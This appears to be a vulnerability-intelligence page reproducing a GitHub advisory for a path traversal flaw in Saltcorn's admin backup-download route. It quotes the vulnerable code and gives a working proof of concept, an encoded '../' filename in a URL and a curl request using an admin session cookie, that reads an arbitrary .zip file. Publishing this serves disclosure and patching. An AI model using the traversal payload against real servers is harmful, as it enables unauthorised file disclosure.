Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-277h-px4m-62q8

MediumCVSS 4.4 / 10
Published Oct 3, 2024·Last modified Oct 3, 2024
Affected Components(0)

No affected components available

Description

Summary

A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to res.download API.

Details

  • file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682
router.get(
  "/auto-backup-download/:filename",
  isAdmin,
  error_catcher(async (req, res) => {
    const { filename } = req.params; // [1] source
    [...]
    if (
      !isRoot ||
      !(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2]
    ) {
      res.redirect("/admin/backup");
      return;
    }
    const auto_backup_directory = getState().getConfig("auto_backup_directory");
    res.download(path.join(auto_backup_directory, filename), filename); // [3] sink
  })
);

Steps to reproduce (PoC)

  • create a file with .zip extension under /tmp folder:
echo "secret12345" > /tmp/secret.zip
  • log into the application as an admin user
  • visit the url http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip
  • download the zip file and then check if the zip was indeed downloaded:
cat secret.zip
secret12345
  • Alternatively send the following request to retrieve the file just created.
curl -i -X $'GET' \
    -H $'Host: localhost:3000' \
    -H $'Connection: close' \
    -b $'connect.sid=VALID_CONNECT_SID_COOKIE' \
    $'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'

NOTE: To obtain a valid connect.sid cookie, just open the developer console while logged and retrieve the cookie value.

Impact

Arbitrary zip files download (information disclosure).

Recommended Mitigation

Resolve the filename parameter before checking if it starts with backup_file_prefix .

Risk Scores
Base Score
4.4

The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information.

Threat Intelligence
4.1

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard